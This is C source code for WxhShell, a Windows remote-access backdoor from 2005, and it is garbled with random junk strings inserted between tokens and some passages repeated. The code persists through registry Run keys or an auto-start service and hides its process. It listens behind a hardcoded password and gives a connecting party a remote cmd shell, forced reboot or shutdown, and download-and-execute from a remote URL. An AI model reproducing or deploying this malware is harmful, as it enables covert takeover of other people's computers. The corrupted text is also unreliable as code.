g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x0Loid\f NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zG ='U lF}@@e)N if (!NtQueryInformationProcess) return 0; @L!^2v `~u=[}w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cHF W"g78 if(!hProcess) return 0; xE<H@@w ~-7/9$ay5 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ex
p?x {\1bWr8!U CloseHandle(hProcess); hTn"/|_SW e*}zl>f hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ie^Ed` if(hProcess==NULL) return 0; > U?\WgE$ )9yQ
C HMODULE hMod; 6J,h}S char procName[255]; T"Y#u unsigned long cbNeeded; iLSUz j` <7J3tn B if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2w7$"N 3O$l;|SX CloseHandle(hProcess); (t@)`N{ wz:e\ ! if(strstr(procName,"services")) return 1; // 以服务启动 d5gwc5X NzQvciJ@" return 0; // 注册表启动 w ea } q][kD2 n&;JW6VQS // 主模块 G=17]>U int StartWxhshell(LPSTR lpCmdLine) [l5jPL}6 { ~q566k!Ll! SOCKET wsl; 9/0H,qZc BOOL val=TRUE; *>=tmW;% int port=0; }}TPu8Rl struct sockaddr_in door; $GRw k>N 9abUh3 if(wscfg.ws_autoins) Install(); a[~[lk=7 GCN-T1HvA2 port=atoi(lpCmdLine); Vp]7n!g4l +-'F]?DN' if(port<=0) port=wscfg.ws_port; R|qrK M{24MF WSADATA data; g.9C>>tj if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _$>);qIP4 aF?_V!#cT if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vf3) T;X> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); geyCS3
:p door.sin_family = AF_INET; Lbz/M_G door.sin_addr.s_addr = inet_addr("127.0.0.1"); @QmN= X5 door.sin_port = htons(port); Gxe)5,G i`F5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZiuD0#"! closesocket(wsl); C%yH}T\s return 1; As)?~dV } ,byc!P <<d # if(listen(wsl,2) == INVALID_SOCKET) { A Qjv?
4)T closesocket(wsl); R5=J :o return 1; g]&fyB# } vOlfyH> Wxhshell(wsl); $||WI}k3V WSACleanup(); p4z4[=-: *]yrN` return 0; ?+hEs =Xs UiV#w#&P } KU$,{Sn6@ 3<XuJ1V& // 以NT服务方式启动 "7%jv[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BT[|f[1 { fu\j DWORD status = 0; m@+v6&, DWORD specificError = 0xfffffff; =p.avAuSn FA-cTF[,( serviceStatus.dwServiceType = SERVICE_WIN32; K]$PRg1|3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^O7sQ7V"f= serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j$Ndq(<tG serviceStatus.dwWin32ExitCode = 0; Nut&g"u2 serviceStatus.dwServiceSpecificExitCode = 0; >|%3j,<U serviceStatus.dwCheckPoint = 0; QTa\&v[f serviceStatus.dwWaitHint = 0; B;[ .u>f <1I4JPh>x hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "|(.W3f1 if (hServiceStatusHandle==0) return; m@kLZimD 6inAnC@I status = GetLastError(); >C_G~R if (status!=NO_ERROR) 3mU~G}ig { hev;M)t serviceStatus.dwCurrentState = SERVICE_STOPPED; Zm*d)</> serviceStatus.dwCheckPoint = 0; CJN~p]\ serviceStatus.dwWaitHint = 0; bh5D}w serviceStatus.dwWin32ExitCode = status; =|AYT6z, serviceStatus.dwServiceSpecificExitCode = specificError; }d}sC\>U SetServiceStatus(hServiceStatusHandle, &serviceStatus); %N&.B return; %7mGMa/ } n32"cFPpT _s@PL59, serviceStatus.dwCurrentState = SERVICE_RUNNING; '-A;B.GV% serviceStatus.dwCheckPoint = 0; 5XX)8gAo serviceStatus.dwWaitHint = 0; P0>2}/;o if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +:^l|6%} } -'qVnu J(}PvkA // 处理NT服务事件,比如:启动、停止 \VhG'd3k VOID WINAPI NTServiceHandler(DWORD fdwControl) |qe;+)0>K { _(g0$vRP~ switch(fdwControl) \}h { L<=Dl case SERVICE_CONTROL_STOP: A3tv'-e9 serviceStatus.dwWin32ExitCode = 0; yC$m(Y12FN serviceStatus.dwCurrentState = SERVICE_STOPPED; -B-G$ii serviceStatus.dwCheckPoint = 0;
k a!w\v serviceStatus.dwWaitHint = 0; }y*D(` { ~3M4F^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); RYCiO,+ } z0LspRaz return; vW eg1 case SERVICE_CONTROL_PAUSE: =cV|o] serviceStatus.dwCurrentState = SERVICE_PAUSED; Z4Q]By:/L break; %2dzx[s case SERVICE_CONTROL_CONTINUE: u3qxG3 serviceStatus.dwCurrentState = SERVICE_RUNNING; ;8PO}{rD break; giu{,gS0?M case SERVICE_CONTROL_INTERROGATE: E`_T_O=P break; B /uaRi% }; 4F.,Y3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); P`@Rt } ] :LlOv$ U%bm{oVn // 标准应用程序主函数 M`al~9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !y XGAg, { D*2*FDGI s i2@k // 获取操作系统版本 3);P!W4> OsIsNt=GetOsVer(); "|I.j) GetModuleFileName(NULL,ExeFile,MAX_PATH); $=diG hO[_ _j8 // 从命令行安装 |oU I2<" if(strpbrk(lpCmdLine,"iI")) Install(); kiJ=C2'& &!4E3&+2m // 下载执行文件 <o|fH~?X if(wscfg.ws_downexe) { c6 &k?Puy if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <vWP_yy WinExec(wscfg.ws_filenam,SW_HIDE); v3cMPN } V~*>/2+
0<v5_pB if(!OsIsNt) { PP$2s]{ // 如果时win9x,隐藏进程并且设置为注册表启动 I1m[M? HideProc(); #z >I =gl StartWxhshell(lpCmdLine); s9"X.-! } o_Z9\'u else ZqrS]i@$ if(StartFromService()) 3'x>$5W // 以服务方式启动 v@Eb[7Kq/1 StartServiceCtrlDispatcher(DispatchTable); 6M&ajl`o else PEEaNOk
1b // 普通方式启动 %dnpO|L StartWxhshell(lpCmdLine); x[};x;[ZE *cM=>3ws/ return 0; @!oN]0`F; } @k;65'"Q
9;%$
Q e+;BE-H m%u`#67oK =========================================== f_O| 8D`+3 HdtGyh6X0 l (rm0_ i/-IjgM"- Epp>L.?r " .S|T{DMQ[ j;uUM6 #include <stdio.h> >
"rM\ Q #include <string.h> @mZK[*Ak<* #include <windows.h> nI?*[y} #include <winsock2.h> @d{}M)6\! #include <winsvc.h> *LhwIY #include <urlmon.h> 1Q
FsT 1lIs
jBo g #pragma comment (lib, "Ws2_32.lib") IY6Ll6OK #pragma comment (lib, "urlmon.lib") X%s5D&gr wN'S+4 #define MAX_USER 100 // 最大客户端连接数 n:40T1:q #define BUF_SOCK 200 // sock buffer ,=C ipL9] #define KEY_BUFF 255 // 输入 buffer \?v&JmEU qspGNu #define REBOOT 0 // 重启 p/_W*0/i #define SHUTDOWN 1 // 关机 A@|Z^T: ^_v94!a9 #define DEF_PORT 5000 // 监听端口 P=EZ6<c3& Gi-pi=#&cs #define REG_LEN 16 // 注册表键长度 V C VqUCc #define SVC_LEN 80 // NT服务名长度 R5QW4i9 2|\mBP`ok // 从dll定义API gQik>gFr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !bLCha\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mY"Dw^) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6{i0i9Tb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u,iiS4'Ze "JmbYb#Z // wxhshell配置信息 037\LPO struct WSCFG { s1]Pv/a=y int ws_port; // 监听端口 z)KoK`\mE" char ws_passstr[REG_LEN]; // 口令 h(nE)j int ws_autoins; // 安装标记, 1=yes 0=no s[{8:Px char ws_regname[REG_LEN]; // 注册表键名 Ay6T*Nu` char ws_svcname[REG_LEN]; // 服务名 4J,6cOuW4 char ws_svcdisp[SVC_LEN]; // 服务显示名 )?&mCI* char ws_svcdesc[SVC_LEN]; // 服务描述信息 chD7^&5] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,[p?u']yZz int ws_downexe; // 下载执行标记, 1=yes 0=no BeRs;^r+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i:
-IZL\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7ojh=imY =3hJti9[ }; M.5F|7 sCy.i/y // default Wxhshell configuration "Ke_dM struct WSCFG wscfg={DEF_PORT, =>Ae]mi7 "xuhuanlingzhe", J%ws-A?6rN 1, Hh](n<Bs "Wxhshell", kKbbsB "Wxhshell", H4v%$R;K "WxhShell Service", `4@`G:6BL "Wrsky Windows CmdShell Service", 9VaSCB "Please Input Your Password: ", mhIGunK;+ 1, zB y%$5~Fw "http://www.wrsky.com/wxhshell.exe", 0|va}m`<3G "Wxhshell.exe" nq7)0F%e }; >/.jB/q /:A239=+ ? // 消息定义模块 D.AiqO<z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oIE(`l0l char *msg_ws_prompt="\n\r? for help\n\r#>"; 2\$<&]q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "AJ>pU3 char *msg_ws_ext="\n\rExit."; hHw1<! M char *msg_ws_end="\n\rQuit."; jc6~V$3 char *msg_ws_boot="\n\rReboot..."; u(r
T2 char *msg_ws_poff="\n\rShutdown..."; "OUY^ cM char *msg_ws_down="\n\rSave to "; X+emJ&Z$@ '%Oo1:wJ char *msg_ws_err="\n\rErr!"; $?: -A char *msg_ws_ok="\n\rOK!"; b,HXD~= &C,]c#-+ char ExeFile[MAX_PATH]; H!y@.W{_ int nUser = 0; @AG=Eq9<o HANDLE handles[MAX_USER]; yF` (GU int OsIsNt; P'_ aNU xop\W4s_ SERVICE_STATUS serviceStatus; `,GFiTPd SERVICE_STATUS_HANDLE hServiceStatusHandle; )CL/%I,^ 3 5-FD{ // 函数声明 *Z"Kvj;>u int Install(void); /Jk.b/t.*S int Uninstall(void); %iV\nFal> int DownloadFile(char *sURL, SOCKET wsh); $\4O r int Boot(int flag); z5:3.+M5 void HideProc(void); E.VEW;= int GetOsVer(void); /KvpJ4 int Wxhshell(SOCKET wsl); TKw>eGe void TalkWithClient(void *cs); Z-U3TrSI
int CmdShell(SOCKET sock); Pd
6 int StartFromService(void); `n|k+tsC int StartWxhshell(LPSTR lpCmdLine); IfRrl/!nw %ULd_ES^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "J
>,
Hr9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); &:+_{nc, 84Hm
PPt // 数据结构和表定义 WFeaX7\b SERVICE_TABLE_ENTRY DispatchTable[] = 5U<o%+^El { A]V<K[9:b {wscfg.ws_svcname, NTServiceMain}, mW_A3S5 {NULL, NULL} Q%GLT,f1. }; 1nLFtiki f'Xz4; // 自我安装 ^n]?!BdU int Install(void) 78b9Sdi& { MT&q~jx* char svExeFile[MAX_PATH]; \v9<L'NP) HKEY key; e8]mdU{) strcpy(svExeFile,ExeFile); H~*[v" KRcg // 如果是win9x系统,修改注册表设为自启动 f;ycQc@f if(!OsIsNt) { T?5F0WKi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `+r5I5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IZ4jFgpR RegCloseKey(key); +n`^W( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yFP#z5G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Qj`_q6= RegCloseKey(key); 0Zl1(;hx@ return 0; i%B$p0U< } tQ?}x#J } \=~<I } gwF@'Uu else { !lB,2_ 9=~jKl%\vJ // 如果是NT以上系统,安装为系统服务 )=D9L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ipmr@%~ if (schSCManager!=0) ==j39 {
UuA=qWC SC_HANDLE schService = CreateService Y.Ew;\6U ( 8%U)EU schSCManager, t,P+~ A wscfg.ws_svcname, |y=D^NTG wscfg.ws_svcdisp, #$fFp SERVICE_ALL_ACCESS, *m]%eU( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |b7>kM}" SERVICE_AUTO_START, {k~$\J?. SERVICE_ERROR_NORMAL, 17qrBG-/MD svExeFile, ck<4_?1] NULL, K<_H`k*x NULL, <$9AP NULL, X!_OOfueP8 NULL, vqxTf)ys NULL CblL1 q8 ); o_$r*Z|HG if (schService!=0) Qg oXOVo6 { eaiz
w@N CloseServiceHandle(schService); ~d5{Q?T) CloseServiceHandle(schSCManager); I~T?tm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uc"u@ _M strcat(svExeFile,wscfg.ws_svcname); wLUmRo56aR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >zhbipA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3i$AR RegCloseKey(key); ZmHl~MR@ return 0; |$ 0/:* } S I(8.$1 } ?x/L"h&Kp CloseServiceHandle(schSCManager); <(t<gS # } "7
4 L } ?^+|V,< q
B2#EsZ return 1; 1Q$ M/} } xX>448= U)o8Tr // 自我卸载 LOYv%9$0*p int Uninstall(void) jH G(d$h { aH#|LrdJ HKEY key; nBj7 Q!lW Fu><lN7 if(!OsIsNt) { 4%{m7CK} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { liB>~DVC RegDeleteValue(key,wscfg.ws_regname); _0`O} RegCloseKey(key); .lnD]Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O&0R ~<n RegDeleteValue(key,wscfg.ws_regname); 3G&1. 8 RegCloseKey(key); Ywr{/ return 0; C|JWom\J } >) ^!gz8 } Q'Tn+}B& } /][U$Q;Ke else { ljCgIfZ_4 w/<hyEpxg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
t|DYz#] if (schSCManager!=0) >y@w-,1he { K&h|r`W( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^YZ#P0 y if (schService!=0) lqs_7HhvRS { /4f;Niem if(DeleteService(schService)!=0) { 8|/YxF< CloseServiceHandle(schService); x/<.?[A CloseServiceHandle(schSCManager); C!P6Z10+j return 0; _8>"&1n } w$!n8Aqs CloseServiceHandle(schService); /L
4WWQ5 } "8X+F% CloseServiceHandle(schSCManager); 'huLv(Uu } RPWYm } ro{MDs M>#{~zr return 1; >j?uI6Uw } G#C)]4[n XDGZqkt // 从指定url下载文件 |g{AD` int DownloadFile(char *sURL, SOCKET wsh) 57}q'84 { Sq'z<}o HRESULT hr; P;/T`R=Vr" char seps[]= "/"; '$VR_N\ char *token; hg~fFj3ST char *file; Kna'5L5" char myURL[MAX_PATH]; `xr%LsNn char myFILE[MAX_PATH]; +1%6-g4" 7$;$4.' strcpy(myURL,sURL); G!IQ<FuY token=strtok(myURL,seps); U8mu<) while(token!=NULL) pf_ /jR { gr=`_k4~1 file=token; XTJ>y@ token=strtok(NULL,seps); vX\e*
v } GSH{1VS_b >A/=eW/q GetCurrentDirectory(MAX_PATH,myFILE); (r4\dp& strcat(myFILE, "\\"); dw|0K+-PH strcat(myFILE, file);
"gz;Q send(wsh,myFILE,strlen(myFILE),0); ;~J~g# send(wsh,"...",3,0); kes'q8k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZJ(!jc$"*% if(hr==S_OK) aBnbu
vp return 0; $\
'\@3o else G;;~xfE' return 1; _u>>+6,p :6+~"7T } u"jnEKN0y LayU)TIt // 系统电源模块 /["T#` int Boot(int flag) ^d*>P|n*@e { M)7enp) F. HANDLE hToken; V]}b3Y!( TOKEN_PRIVILEGES tkp; 8E+l;2 jlBCu(.,_ if(OsIsNt) { }t'^Au`X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fL;p^t u3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ULjzhy+(8 tkp.PrivilegeCount = 1; !Xi>{nV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |_*$+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Kc0OLcu^d if(flag==REBOOT) { vp@+wh]# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =*Xf(mh c return 0; v3Yj2LSqx } bB-v ar else { MV}]i@V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bl];^W^P return 0; 6pR#z@, } aw1J#5j`n } ay4xOwcR else { 3)a29uc:U if(flag==REBOOT) { dk/*%a
+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N}G(pq} return 0; 1`{ib
} G65N: else { D$E9%'ir if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `t&;Yk]-L return 0; C5UDez } _4$DnQ6& } (?y2@I} IcQ!A=lB return 1; ".?{Y(~ } (K6StNtN ]s@8I2_ // win9x进程隐藏模块 #7h fEAk void HideProc(void) Ui!|!V- { gUA}%YXe Pltju4.:C HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H~]o]uAi" if ( hKernel != NULL ) GNc|)$ { ,0]28D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nn4Sy,cz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FaE orQ FreeLibrary(hKernel); g"S+V#R } d
A{Jk |"w<CKlQ return; gq3OCA!cX } GuvF |LE++t*X~ // 获取操作系统版本 GQq'~Lr5 int GetOsVer(void) e622{dfVS { v^fOT5\ OSVERSIONINFO winfo; lG>e6[Wc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^\jX5)2{ GetVersionEx(&winfo); b]?;R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4CT9-2UC return 1; z,YUguc|
else S=SncMO nE return 0;
hP8&n9o } $4JX#lkt }tO<_f)) // 客户端句柄模块 PM!t"[@& int Wxhshell(SOCKET wsl) yuDd%
1k { q.Z#7~6`3 SOCKET wsh; v=1S struct sockaddr_in client; i!x5T%x_ DWORD myID; BrMp_M | V,jd while(nUser<MAX_USER) B-'BJ|*4I { 8k?L{hF|nW int nSize=sizeof(client); }AZx/[k
|z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1e&b;l'*= if(wsh==INVALID_SOCKET) return 1; q<[ke
sNmC#, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \'tz| if(handles[nUser]==0) $'{`i5XB closesocket(wsh); vqz#V=J{ else ~{Rt4o _W nUser++; KVpAV$|e } SLOYlRGCi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9~%]|_( PFgjWp"Y return 0; l'".}6S } 42wC."A lv_% // 关闭 socket qZ_fQ@ void CloseIt(SOCKET wsh) `+BaDns { IYg3ve`x closesocket(wsh); Y_>-p(IH nUser--; ~V"cLTj" ExitThread(0); C|IQM4 } 4$DliP f<4q ]HCa // 客户端请求句柄 )X!DCL:16 void TalkWithClient(void *cs) | 4oM+n;Y { JX$NEq( (g2r\hI SOCKET wsh=(SOCKET)cs; NF(IF.8G char pwd[SVC_LEN]; qs1.@l(" char cmd[KEY_BUFF]; )/T$H| char chr[1]; S Y>,kwHO int i,j; @TPgA(5NR $0S#d@v} while (nUser < MAX_USER) { vJAAAS G[<[#$( if(wscfg.ws_passstr) { Sb9=$0%\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f(s3TLM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K-k.=6mS //ZeroMemory(pwd,KEY_BUFF); t,1! `/\ i=0; 5QFXj)hR+4 while(i<SVC_LEN) { h* %0@ D)ne *}, // 设置超时 6O@ ^`T fd_set FdRead; Nw>T$RzS struct timeval TimeOut; (6#yw`\ FD_ZERO(&FdRead); H0b6ZA%n FD_SET(wsh,&FdRead); ivUsMhx>S, TimeOut.tv_sec=8; !0csNg! TimeOut.tv_usec=0; K9O,7h:x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FDd>(!> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E<#4G9O< ZR-s{2sl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CBnouKc: pwd=chr[0]; .Lr)~ if(chr[0]==0xd || chr[0]==0xa) { G<^]0`"+)t pwd=0; :UDn^(# break; 0B$7S,2 } ~UJu
@M i++; <,4R2' } fByh";<`P l88a#zUQDN // 如果是非法用户,关闭 socket &c<}++'h if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @FdCbPl$ } JfP\7 @+\S!o3m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8} ?Y;>s\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )lDIzLp L^ #< HQ while(1) {
kulQR>u ZYA.1VrM ZeroMemory(cmd,KEY_BUFF); 7=p-A_X 01{r^ZT`RH // 自动支持客户端 telnet标准 ?y*+^E0 j=0; 6`4W, while(j<KEY_BUFF) { Y zBA{FE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /@:up+$ cmd[j]=chr[0]; nc\C4g if(chr[0]==0xa || chr[0]==0xd) { ? __aVQ7 cmd[j]=0; d7_ g
u break; 0n<(*bfW } w^dueP7J j++; $uFh$f } Q{l*62Bx v<7Gln // 下载文件 D _bkUR1 if(strstr(cmd,"http://")) { +{C9uY)$vf send(wsh,msg_ws_down,strlen(msg_ws_down),0); #[U9(44, if(DownloadFile(cmd,wsh)) lR@i`)'?U send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4$?wD < else inPdV9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Sw+]pr~ } )pZekh]v else { te\h?H 7dlKdKH switch(cmd[0]) { C'8!cPFVv EOBs}M; // 帮助 jI{~s]Q case '?': { /[20e1 w! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &weY8\HD break; d@D;'2}Yc } X@yr$3vC // 安装 e:$7^Y,U/ case 'i': { o/dMm:TF if(Install()) W) 33;E/} send(wsh,msg_ws_err,strlen(msg_ws_err),0); K{zCp6 else 2GiUPtO&Gj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FM9X}%5nu9 break; :PFx& } %l8*t$8 // 卸载 4#@W;' case 'r': { ib(>vp$V if(Uninstall()) SvX=isu!. send(wsh,msg_ws_err,strlen(msg_ws_err),0); UBhciZ else Y3P.| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ];pf break; p- "Z'$A` } 8NaL{j1` // 显示 wxhshell 所在路径 zmB31' _ case 'p': { FI1THzW4J char svExeFile[MAX_PATH]; GJIWG&C03 strcpy(svExeFile,"\n\r"); %_b^!FR strcat(svExeFile,ExeFile); Q$|^~ send(wsh,svExeFile,strlen(svExeFile),0); R,x> $n break; GP[6nw_'^ } <DeKs?v // 重启 Ue{vg$5|| case 'b': { X!7VyE+n send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ] Wx>)LT if(Boot(REBOOT)) IP30y>\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); S]e j=6SP else { d)04;[= closesocket(wsh); ySwYV ExitThread(0); Cdp]Nv6 } 4?>18%7& break; I!$jYY2 } Ic[}V0dk // 关机 i<4>\nc case 'd': { pKt-R07* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )YzH k ;( if(Boot(SHUTDOWN)) XMN?;Hj> send(wsh,msg_ws_err,strlen(msg_ws_err),0); fg9?3x
Z else {
JJ/1daj closesocket(wsh); ,&.W6sW ExitThread(0); Z0[)u_< } )%iRZ\`f break; F>~ xzc } JkSdLj // 获取shell yaH
Trh% case 's': { -ajM5S=d* CmdShell(wsh); IPl@ DH closesocket(wsh); dSOlD/c
ExitThread(0); 6X@mPj[/ break; 10C 2= } ;YK!EMM4!h // 退出 ^Yj"RM$;N case 'x': { Q'Jv}'eK_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ni2]6U CloseIt(wsh); 9z5"y|$ break; <u/a`E? } _4P;+Y // 离开 Q7,EY / case 'q': { xn(+G$m send(wsh,msg_ws_end,strlen(msg_ws_end),0); b!i`o%Vb closesocket(wsh); e#>tM WSACleanup(); cI*KRCU exit(1); )Vwj9WD break; UI!6aVL. } _ Ry_K3K } %&^Q(f } 6m4Te| rr |"r // 提示信息 j~M#Ss-H8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I3Lg?bZ } :{[<g]( } ET U-]R 3 z>4D~HX return; W8f`J2^"M } BJ~ivT< {5T0RL{\N // shell模块句柄 +$>N]1 int CmdShell(SOCKET sock) G1}~.%J { 1#grB(p? STARTUPINFO si; x!'7yx ZeroMemory(&si,sizeof(si)); ,LhEshf si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -#hK|1] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q]< (bD.7 PROCESS_INFORMATION ProcessInfo; +"'F Be char cmdline[]="cmd"; ]]>nbgGn# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H76E+AY return 0; ecn}iN } :/+>e
IE 2
9q?$V( // 自身启动模式 +0VG[c\8 int StartFromService(void) Rr%tbt.sE { $bk>kbl P typedef struct aK]7vp+ { @u,+F0Yd DWORD ExitStatus; KwS`3 6: DWORD PebBaseAddress; zQ ,f5x DWORD AffinityMask; m&Lt6_vi DWORD BasePriority; Z.!g9fi8> ULONG UniqueProcessId; egfi;8]E ULONG InheritedFromUniqueProcessId; brb[})} } PROCESS_BASIC_INFORMATION; ya:sW5fk f%c06Un= PROCNTQSIP NtQueryInformationProcess; "X`RQ6~]> f2NA=%\ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vCj4;P g static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hw Z^D=A 0z/h+, HANDLE hProcess; xJ-*%'(KZ PROCESS_BASIC_INFORMATION pbi; UmJUt| Zp`~}LV{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); My. dD'C if(NULL == hInst ) return 0; S#k{e72 * .>P~uZiX! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !~WZ_z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *2`:VFEV NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^%;" [r ?4,@,
ae& if (!NtQueryInformationProcess) return 0; 5? Wg%@ cST\~SUm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >;,gGH if(!hProcess) return 0; $57\u/(
A^-iHm if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W+8^P(
K 8/Mx5~ R CloseHandle(hProcess); TM0b-W (H R;r|cep hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kfXS_\@iW1 if(hProcess==NULL) return 0; aVP5% Vc| NL^ HMODULE hMod; *%X.ym' char procName[255]; T8U[xu.> unsigned long cbNeeded;
=^Th[B q-YL]PgV if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q\|18wkW 6J\q`q(W( CloseHandle(hProcess); |~eY%LB
